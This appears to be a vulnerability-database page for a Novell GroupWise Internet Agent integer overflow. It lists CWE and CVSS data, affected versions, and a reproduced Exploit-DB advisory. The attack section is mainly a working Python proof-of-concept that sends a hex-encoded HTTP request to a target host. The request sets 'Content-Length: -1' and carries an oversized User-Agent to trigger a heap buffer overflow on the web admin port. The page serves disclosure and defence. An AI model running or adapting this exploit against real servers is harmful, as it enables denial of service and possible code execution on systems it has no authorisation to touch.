Related Weaknesses
CWE-ID |
Weakness Name |
Source |
CWE-189 |
Category : Numeric Errors Weaknesses in this category are related to improper calculation or conversion of numbers. |
|
Metrics
Metrics |
Score |
Severity |
CVSS Vector |
Source |
V2 |
10 |
|
AV:N/AC:L/Au:N/C:C/I:C/A:C |
[email protected] |
EPSS
EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.
EPSS Score
The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.
EPSS Percentile
The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
Exploit information
Exploit Database EDB-ID : 21326
Publication date : 2012-09-16 22h00 +00:00
Author : Francis Provencher
EDB Verified : Yes
#####################################################################################
Application: Novell Groupwise
Platforms: Windows
Version: 8.0.2 HP3 and 2012
Secunia: SA50622
{PRL}: 2012-28
Author: Francis Provencher (Protek Research Lab's)
Website: http://www.protekresearchlab.com/
Twitter: @ProtekResearch
#####################################################################################
1) Introduction
2) Report Timeline
3) Technical details
4) The Code
#####################################################################################
===============
1) Introduction
===============
Novell, Inc. is a global software and services company based in Waltham, Massachusetts. The company specializes in
enterprise operating systems, such as SUSE Linux Enterprise and Novell NetWare; identity, security, and systems
management solutions; and collaboration solutions, such as Novell Groupwise and Novell Pulse. Novell was instrumental
in making the Utah Valley a focus for technology and software development. Novell technology contributed to the
emergence of local area networks, which displaced the dominant mainframe computing model and changed computing
worldwide. Today, a primary focus of the company is on developing open source software for enterprise clients.
(http://en.wikipedia.org/wiki/Novell)
#####################################################################################
============================
2) Report Timeline
============================
2012-02-03 Vulnerability reported to Secunia
2012-09-14 Publication of this advisory
#####################################################################################
============================
3) Technical details
============================
The vulnerability is caused due to an integer overflow error in GroupWise Internet Agent (gwia.exe)
when copying request data and can be exploited to cause a heap-based buffer overflow by e.g.
sending a specially crafted request with the "Content-Length" header value set to "-1" to the web-based
administration interface (TCP port 9850). Successful exploitation may allow execution of arbitrary code.
#####################################################################################
===========
4) The Code
===========
#!/usr/bin/python
import sys,os,socket
if len(sys.argv) < 3:
print "Usage: host,port"
sys.exit(0)
host=sys.argv[1]
port=int(sys.argv[2])
sock=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
sock.connect((host,port))
sock.send("\x47\x45\x54\x20\x2F\x20\x48\x54\x54\x50\x2F\x31\x2E\x30\x0D\x0A\x43\x6F\x6E\x74\x65\x6E\x74\x2D\x4C\x65\x6E\x67\x74\x68\x3A\x20\x2D\x31\x0D\x0A\x45\x78\x70\x69\x72\x65\x73\x3A\x20\x4D\x6F\x6E\x2C\x20\x30\x32\x20\x4A\x75\x6E\x20\x31\x39\x38\x32\x20\x30\x30\x3A\x30\x30\x3A\x30\x30\x20\x47\x4D\x54\x0D\x0A\x46\x72\x6F\x6D\x3A\x20\x61\x61\x61\x61\x61\x40\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x2E\x63\x6F\x6D\x0D\x0A\x49\x66\x2D\x4D\x6F\x64\x69\x66\x69\x65\x64\x2D\x53\x69\x6E\x63\x65\x3A\x20\x4D\x6F\x6E\x2C\x20\x30\x32\x20\x4A\x75\x6E\x20\x31\x39\x38\x32\x20\x30\x30\x3A\x30\x30\x3A\x30\x30\x20\x47\x4D\x54\x0D\x0A\x4C\x61\x73\x74\x2D\x4D\x6F\x64\x69\x66\x69\x65\x64\x3A\x20\x4D\x6F\x6E\x2C\x20\x30\x32\x20\x4A\x75\x6E\x20\x31\x39\x38\x32\x20\x30\x30\x3A\x30\x30\x3A\x30\x30\x20\x47\x4D\x54\x0D\x0A\x52\x65\x66\x65\x72\x65\x72\x3A\x20\x68\x74\x74\x70\x3A\x2F\x2F\x77\x77\x77\x2E\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x2E\x63\x6F\x6D\x2F\x0D\x0A\x55\x73\x65\x72\x2D\x41\x67\x65\x6E\x74\x3A\x20\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x0D\x0A\x0D\x0A")
print "done!"
sock.close()
Products Mentioned
Configuraton 0
Novell>>Groupwise >> Version 8.0
Novell>>Groupwise >> Version 8.01
Novell>>Groupwise >> Version 8.01
Novell>>Groupwise >> Version 8.02
Novell>>Groupwise >> Version 8.02
Novell>>Groupwise >> Version 8.02
Novell>>Groupwise >> Version 8.02
Novell>>Groupwise >> Version 8.03
Configuraton 0
Novell>>Groupwise >> Version 2012
Configuraton 0
Novell>>Groupwise >> Version 5.2
Novell>>Groupwise >> Version 5.5
Novell>>Groupwise >> Version 5.57e
Novell>>Groupwise >> Version 6.0
Novell>>Groupwise >> Version 6.0.1
Novell>>Groupwise >> Version 6.5
Novell>>Groupwise >> Version 6.5
Novell>>Groupwise >> Version 6.5
Novell>>Groupwise >> Version 6.5
Novell>>Groupwise >> Version 6.5
Novell>>Groupwise >> Version 6.5
Novell>>Groupwise >> Version 6.5
Novell>>Groupwise >> Version 6.5.2
Novell>>Groupwise >> Version 6.5.3
Novell>>Groupwise >> Version 6.5.4
Novell>>Groupwise >> Version 6.5.6
Novell>>Groupwise >> Version 6.5.7
Novell>>Groupwise >> Version 7.0
Novell>>Groupwise >> Version 7.0.3
Novell>>Groupwise >> Version 7.0.3
Novell>>Groupwise >> Version 7.0.4
Novell>>Groupwise >> Version 7.0.4
Novell>>Groupwise >> Version 7.01
Novell>>Groupwise >> Version 7.01
Novell>>Groupwise >> Version 7.02
Novell>>Groupwise >> Version 7.02
Novell>>Groupwise >> Version 7.02
Novell>>Groupwise >> Version 7.02
Novell>>Groupwise >> Version 7.02
Novell>>Groupwise >> Version 7.03
Novell>>Groupwise >> Version 7.03
Novell>>Groupwise >> Version 7.03
Novell>>Groupwise >> Version 7.03
Novell>>Groupwise >> Version 7.03
References